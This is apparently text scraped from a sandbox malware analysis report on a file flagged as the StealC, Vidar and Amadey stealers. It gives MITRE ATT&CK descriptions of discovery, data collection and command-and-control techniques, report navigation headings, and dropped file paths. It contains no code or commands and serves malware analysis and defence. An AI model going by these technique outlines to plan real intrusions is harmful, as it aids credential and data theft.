Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BGHIDGCAFCBAAAAAFHDAEHCFIE

C:\ProgramData\DBKEGCAEGIIJKFIEHIJE

C:\ProgramData\GCGCFCBA

C:\ProgramData\HCFIIIJJKJKFHIDGDBAK

C:\ProgramData\HCFIIIJJKJKFHIDGDBAKJEBKEG

C:\ProgramData\HIDHDGDHJEGHIDGDHCGCBAKFHI

C:\ProgramData\HJEHIJEBKEBFBFHIIDHIIDGIJE

C:\ProgramData\JKKEHJDH

C:\ProgramData\KKJKFBKKECFHJKEBKEHI

Windows Analysis Report
file.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre